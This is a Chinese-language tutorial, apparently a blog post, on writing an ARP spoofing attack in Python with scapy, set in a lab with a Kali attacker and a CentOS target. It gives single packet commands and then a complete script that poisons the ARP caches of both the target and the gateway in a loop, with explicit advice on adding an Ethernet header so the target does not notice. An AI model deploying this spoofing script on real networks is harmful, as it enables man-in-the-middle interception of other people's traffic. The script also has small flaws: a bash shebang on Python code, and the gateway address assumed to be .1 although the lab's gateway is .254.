python编写arp攻击与欺骗脚本

目录

1.arp欺骗

2.arp欺骗实验

 2.1 构造arp包

2.2 发送数据包

 2.3 查看路由表

 3.完善arp欺骗过程

 4. 编写arp欺骗脚本

1.arp欺骗

arp欺骗是数据链路层的攻击，在数据链路层是通过mac地址来发送报文的，所以需要将网络层的ip对应到mac地址，由于arp协议是基于局域网内主机互相信任的基础上的，如果我们构造并发送了一个arp欺骗包，就可以实现arp欺骗。

2.arp欺骗实验

攻击者：kali，192.168.20.128，29:ff:fe:5a:37:4f

靶机：centos，192.168.20.130，2a:90:fd:63:41:97

网关：192.168.20.254

1.  2.1 构造arp包

2. 将靶机ip填写到pdst中，将需要冒充的ip写到psrc中

2.2 发送数据包

sr1代表发送数据包，并且接受第一个返回数据包，可以用show（）方法查看返回数据包的内容

 2.3 查看路由表

可以看到我们伪造的192.168.20.2的ip地址对应的mac地址确实变成kali的mac地址，但同时路由表中也存在着kali的真实ip，这就意味着同一个mac地址对应到了两个ip地址，很容易被发现arp欺骗

 为了搞清楚为什么kali会暴露自己真实的ip地址，用wireshark抓取整个过程的数据包

发现kali在欺骗之前首先先发了一个广播包，找靶机，这里靶机就能获取到kali的真实ip和mac

出现这种情况的原因是我们没有定义ethernet 2帧头，kali就主动发送广播包问谁是靶机，然后带上真实的ip和mac地址，因此要事先定义帧头

 3.完善arp欺骗过程

构造数据包如下：

sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(psrc="192.168.20.254",pdst="192.168.20.130",hwdst="2a:90:fd:63:41:97"))

Ether（）就是我们定义的帧头

/的做作用是将两个数据包拼凑起来，但数据包必须按照网络的层次排列

send表示只发送数据包，不接收返回，加上p表示数据包是在数据链路层上传输的

发送数据包后看到此次并没有发送kali的真实ip

 靶机的路由表中也没有发现kali的ip

 4. 编写arp欺骗脚本

编写脚本要注意，arp欺骗是双向的，也就是kali既要欺骗靶机，也要欺骗网关，这样才能让靶机感受不到差别；同时构造arp欺骗包是要加上帧头不被察觉；

代码如下：

	#!/bin/bash
	
	from scapy.all import *
	import time
	import sys
	
	# 构造并发送arp欺骗包的函数
	def arp(pdst, psrc):
	    pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=pdst,psrc=psrc)
	    sendp(pkt)
	    return
	
	# 实行arp欺骗的函数
	def main():
		# 接收命令行的参数
	    if len(sys.argv)!=2:
	        print("invalid value")
	        print("pdst")
	        sys.exit()
	
	    # 拿到的是靶机的ip
	    pdst = str(sys.argv[1]).strip()
	    pdst_lst = pdst.split(".")
	    pdst_lst[3] = "1"
	    # 下面获取网关的ip
	    pgateway = ""
	    for i in pdst_lst:
	        pgateway = pgateway + i + "."
	    pgateway = pgateway[0:-1]
	    print(pgateway)
	
	    # 对靶机和网关实行arp欺骗
	    while True:
	        try:
	            arp(pdst,pgateway)
	            arp(pgateway,pdst)
	            time.sleep(0.5)
	        # 键盘按下ctr+c自动停止
	        except KeyboardInterrupt:
	            print("over")
	            break
	
	if __name__ == "__main__":
	    main()

解释：

1. from scapy.all import *，导入scapy模块来编写arp欺骗脚本

2. if len(sys.argv)!=2:，这里是需要运行脚本的时候传入靶机的ip地址作为参数，如果传入的参数个数不对就会退出

3. 脚本中网关的ip是根据传入的靶机的ip自动获取的

4. arp(pdst,pgateway)，arp(pgateway,pdst)，这两个函数的调用就实现了对靶机和网关的双向欺骗